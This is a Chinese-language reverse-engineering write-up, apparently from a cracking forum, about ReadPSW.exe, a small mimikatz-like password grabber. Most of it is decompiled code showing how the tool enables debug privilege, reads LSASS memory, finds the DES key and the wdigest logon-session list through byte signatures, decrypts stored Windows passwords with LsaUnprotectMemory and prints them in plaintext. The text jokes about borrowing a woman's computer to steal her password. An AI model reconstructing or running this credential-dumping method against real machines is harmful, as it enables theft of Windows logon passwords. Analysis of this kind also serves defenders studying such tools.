對windows密碼抓取神器mimikatz的逆向分析
作者：佚名
mimikatz可謂獲取windows明文密碼神器，新版本更是加上了64位支持。用過一個小型獲取明文密碼程序，只有一個可執行文件ReadPSW.exe，通過逆向寫出了源代碼，稍微改改可能也可以支持64位。分享一下逆向過程和工作原理。
mimikatz可謂獲取windows明文密碼神器，新版本更是加上了64位支持。用過一個小型獲取明文密碼程序，只有一個可執行文件ReadPSW.exe，通過逆向寫出了源代碼，稍微改改可能也可以支持64位。分享一下逆向過程和工作原理。
了解mimikatz
只要借用一下電腦，便可輕松拿到密碼……“女神，借用電腦一看可否?”
大神們都知道的東西吧，滲透測試常用工具。法國一個牛B的人寫的輕量級調試器，可以幫助安全測試人員抓取Windows密碼。
mimikatz 最近發布了它的2.0版本，抓密碼命令更加簡單了，估計作者也看到了對它這個神器最多的研究就是直接抓密碼，為神馬不發布一個直接一鍵版，哈哈哈哈哈。新功能還包括能夠通過獲取的kerberos登錄憑據，繞過支持RestrictedAdmin模式的win8或win2012svr的遠程終端(RDP) 的登陸認證。建議默認禁止RestrictedAdmin模式登錄。更多內容點我
逆向過程
我喜歡先用IDA看大致流程，遇到難以靜態看出來的函數再用OD或者windbg。IDA F5 main函數，一段一段的看。
- int __cdecl main_0()
- {
- int hdll; // eax@15
- HMODULE ModuleSecur32; // eax@15
- int LsaEnumerateLogonSessions; // eax@15
- int LsaGetLogonSessionData; // eax@15
- int LsaFreeReturnBuffer; // eax@15
- int bcrypt; // eax@27
- int hbcrypt; // eax@27
- int bcryptprimitives; // eax@27
- int hbcryptprimitives; // eax@27
- int status7; // eax@27
- const void *Base; // [sp+7Ch] [bp-2E0h]@25
- SIZE_T nSize; // [sp+80h] [bp-2DCh]@25
- int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15
- int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15
- int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15
- HMODULE Secur32; // [sp+94h] [bp-2C8h]@15
- LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15
- int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15
- struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5
- HANDLE Lsass; // [sp+13Ch] [bp-220h]@3
- LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18
- LPCVOID *First; // [sp+340h] [bp-1Ch]@20
- int LogonSessionNow; // [sp+344h] [bp-18h]@18
- int ListEntry; // [sp+348h] [bp-14h]@15
- SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18
- int hDllLsasrv; // [sp+358h] [bp-4h]@15
變量名大多是修改過的，通過分析子函數的功能做相應的改變，看起來方便一些。
- memset(&tt, -858993460, 0x320u);
- if ( EnableDebugPrivilege() != 1 )
- printf("EnableDebugPrivilege fail !");
首先提權，比較簡單：
- pToken = &TokenHandle;
- dwAccess = TOKEN_ALL_ACCESS;
- ProcessHandle = GetCurrentProcess();
- retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);
- status = OpenProcessToken(retProcessHandle, dwAccess, pToken);
- status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);
- NewState.PrivilegeCount = 1;
- NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
- NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
- NewState.Privileges[0].Attributes = 2;
- status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
接著main函數流程：
- Lsass = GetProcessHandle("lsass.exe");
- if ( Lsass )
- {
- offset_one = 0;
- offset_two = -1;
- memset(&VersionInformation, 0, 0x94u);
- VersionInformation.dwOSVersionInfoSize = 148;
- status = GetVersionExA(&VersionInformation);
- _chkesp(&t == &t, status, &v48);
- if ( VersionInformation.dwMajorVersion == 5 )
- {
- if ( VersionInformation.dwMinorVersion == 1 )
- {
- offset_one = 36;
- offset_two = 2;
- }
- else
- {
- if ( VersionInformation.dwMinorVersion == 2 )
- {
- offset_one = 28;
- offset_two = 4;
- }
- }
- }
- else
- {
- if ( VersionInformation.dwMajorVersion == 6 )
- {
- offset_one = 32;
- offset_two = 1;
- }
- }
- if ( offset_two == -1 )
- {
- status12 = CloseHandle(Lsass);
- _chkesp(&t == &t, status12, &v48);
- returned = 0;
- }
上面工作主要是：獲取lsass.exe進程句柄、根據不同版本賦值兩個偏移量?？梢钥闯鲋С謝p和2003，之后版本vista、win7等使用同一偏移量。
- else
- {
- hdll = LoadLibraryA("lsasrv.dll");
- hDllLsasrv = _chkesp(&t == &t, hdll, &v48);
- LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);
這個GetFunctionAddr是我重命名的，跟進去看一下實現就知道了：
- int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)
- {
- return RealGetFunctionAddr(Module, Limit, Symbol, Length);
- }
是一個跳轉，接著跟進：
- int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)
- {
- while ( Length + Module <= Limit )
- {
- label = Symbol;
- for ( i = 0; i < Length && *Module == *label; ++i )
- {
- ++Module;
- ++label;
- }
- if ( i == Length )
- break;
- ModuleModule = Module - i + 1;
- }
- return result;
- }
是用特征碼查找函數地址的，想知道是什么函數最好用windbg跟一下，發現找到了lsasrv.dll的LsaUnprotectMemory 函數，這里我也對變量名進行了重命名。該函數用于解密LsaProtectMemory加密內存，這兩個函數在LSA中用得非常多。
- l_LogSessList = GetWdigestl_LogSessList();
- DesKey(Lsass, hDllLsasrv, offset_two);
這兩個函數挺關鍵，需要結合OD動態調試，先看第一個，中間有個類似上面的跳轉，直接看實現函數：
- unsigned int __cdecl RealGetFunction()
- {
- HMODULE hModule; // eax@1
- unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1
- unsigned int returned; // [sp+50h] [bp-Ch]@1
- int SpInstanceInit; // [sp+54h] [bp-8h]@1
- HMODULE hLibModule; // [sp+58h] [bp-4h]@1
- memset(&v6, -858993460, 0x50u);
- t1 = LoadLibraryA("wdigest.dll");
- hModule = _chkesp(&v5 == &v5, t1, &v11);
- hLibModule = hModule;
- v2 = GetProcAddress(hModule, "SpInstanceInit");
- SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);
- moduleBase = hLibModule;
- returned = 0;
- while ( moduleBase < SpInstanceInit && moduleBase )
- {
- returned = moduleBase;
- moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);
- }
- returned = *(returned - 4);
- status = FreeLibrary(hLibModule);
- _chkesp(&v5 == &v5, status, &v11);
- return returned;
首先加載wdigest.dll模塊，這里有詳細的介紹。然后獲取SpInstanceInit的地址，接著是一個查找函數的循環，根據特征碼在SpInstanceInit地址低位查找某個地址，使用windbg可以看到要找的東西：
0:000> ln eax
(742ec29c) +0xc29c
這并不是一個函數，具體的作用現在還不知道。后面會用到。
看下面的函數，這個函數實際上是用來產生DES的密鑰：
- const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)
- {
- int status; // eax@1
- const void *dwResult; // eax@1
- int Key; // eax@4
- char buffer; // [sp+Ch] [bp-68h]@1
- int OSVersion; // [sp+4Ch] [bp-28h]@1
- unsigned int HeapReverse; // [sp+50h] [bp-24h]@1
- const void *Buffer; // [sp+54h] [bp-20h]@4
- LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4
- LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1
- SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1
- SIZE_T nSize; // [sp+64h] [bp-10h]@1
- int pImageNtHeaders; // [sp+68h] [bp-Ch]@1
- int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1
- int DataSECTION; // [sp+70h] [bp-4h]@1
- int v27; // [sp+74h] [bp+0h]@1
- memset(&buffer, -858993460, 0x68u);
- hTmpDllLsasrv = hDllLsasrv;
- DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;
- lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 獲取lsasrv.dll的數據區
- nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 數據區大小
- status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //讀取數據區內容
- _chkesp(&v15 == &v15, status, &v27);
- pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);
- HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);
- dwResult = offset;
- OSVersion = offset;
- if ( offset == 1 )
- {
- v8 = LoadLibraryA("bcrypt.dll");
- _chkesp(&v15 == &v15, v8, &v27);
- v9 = LoadLibraryA("bcryptprimitives.dll");
- _chkesp(&v15 == &v15, v9, &v27);
- v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3儀E鑌b", 0xCu); //根據特征碼查找存放DES_KEY的地址
- g_pDESXKey = v10;
- g_pDESXKey = *(v10 - 1);
- v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);
- _chkesp(&v15 == &v15, v11, &v27);
- v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通過兩次內存查找找到KEY
- _chkesp(&v15 == &v15, v12, &v27);
- lpBuffer = g_pDESXKey;
- *g_pDESXKey = &t_Key;
- v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);
- _chkesp(&v15 == &v15, v13, &v27);
- lpBuffer = &lpBaseAddress;
- lpBaseAddress = &unk_42BFB8;
- v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);
- dwResult = _chkesp(&v15 == &v15, v14, &v27);
- dword_42AFC4 = &unk_42ADB8;
- }
- else
- {
- if ( OSVersion == 2 || OSVersion == 4 )
- {
- Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);
- g_pDESXKey = Key;
- g_pDESXKey = *(Key + 12);
- v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);
- _chkesp(&v15 == &v15, v6, &v27);
- v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);
- _chkesp(&v15 == &v15, v7, &v27);
- dwResult = g_pDESXKey;
- lpBuffer = g_pDESXKey;
- *g_pDESXKey = &t_Key;
- }
- }
- return dwResult;
- }
根據最初得到的偏移，讀取進程地址空間，獲取DES的密鑰。了解了這兩個函數內容接著回歸main函數：
- status13 = LoadLibraryA("Secur32.dll");
- ModuleSecur32 = _chkesp(&t == &t, status13, &v48);
- Secur32 = ModuleSecur32;
- LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");
- pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);
- LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");
- pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);
- LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");
- pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);
- us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);
加載secur32.dll，然后獲取幾個函數的地址，枚舉登陸會話和獲取登陸會話數據。接著調用LsaEnumerateLogonSessions得到當前登錄的會話個數以及所有會話組成的列表。MSDN上說明了這個函數，會返回會話的LUID。
- _chkesp(&t == &t, status1, &v48);
- for ( i = 0; i < count; ++i )
- {
- LogonSessionNow = ListEntry + 8 * i;// 根據這里可以知道
- output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 這里輸出登陸用戶名
- 進入output_name_session看看：
- int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)
- {
- int status; // eax@1
- int status1; // eax@1
- char v6; // [sp+0h] [bp-50h]@1
- char v7; // [sp+Ch] [bp-44h]@1
- int LogonSessionData; // [sp+4Ch] [bp-4h]@1
- int v9; // [sp+50h] [bp+0h]@1
- memset(&v7, -858993460, 0x44u);
- status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);
- _chkesp(&v6 == &v6, status, &v9);
- printf("UserName: %S\n", *(LogonSessionData + 16));
- printf("LogonDomain: %S\n", *(LogonSessionData + 24));
- status1 = pLsaFreeReturnBuffer(LogonSessionData);
- return _chkesp(&v6 == &v6, status1, &v9);
- }
- 這里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer，輸出登陸名和域名。
- status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 這里讀取之前獲取的那個不明地址內容到List
- _chkesp(&t == &t, status3, &v48);
- while ( List[0] != l_LogSessList )
- {
- status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);
- _chkesp(&t == &t, status4, &v48);
- First = &List[4];
- if ( List[4] == *LogonSessionNow )
- {
- if ( First[1] == *(LogonSessionNow + 4) ) // 這個First[1]看著太別扭了，實際上就是比較List[4]和枚舉到的會話LUID值
- break;// 這里可以知道之前那個不明地址<Unloaded_wdigest.dll>+0xc29c是個列表
- }
- }
- if ( List[0] == l_LogSessList )
- {
- printf("Specific LUID NOT found\n");
- }
- else
- {
- nSize = 0;
- v28 = (offset_one + First);
- nSize = *(offset_one + First + 2);
- Base = *(offset_one + First + 4); // 還是使用了First，不要忘記First是從當時那個不明地址處讀取的值
- memset(Buffer2, 0, 0x100u);
- status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);
- _chkesp(&t == &t, status2, &v47);// 這里讀到加密之后的密碼。整個流程就清楚了，使用LsaEnumerateSessions獲取LUIDs，與之前通過特征碼找到的l_LogSessList結合找出密碼。l_LogSessList保存了密碼的長度和存放地址以及會話LUID，是個重要的未公開結構體。
- status5 = (LsaUnprotectMemory)(Buffer2, nSize);
- _chkesp(&t == &t, status5, &v47);
- printf("password: %S\n\n", Buffer2);
- }
后面是一些釋放dll和內存的工作，不再贅述。程序和IDA數據庫右鍵圖片可以得到。
責任編輯：藍雨淚
來源：
吾愛破解論壇
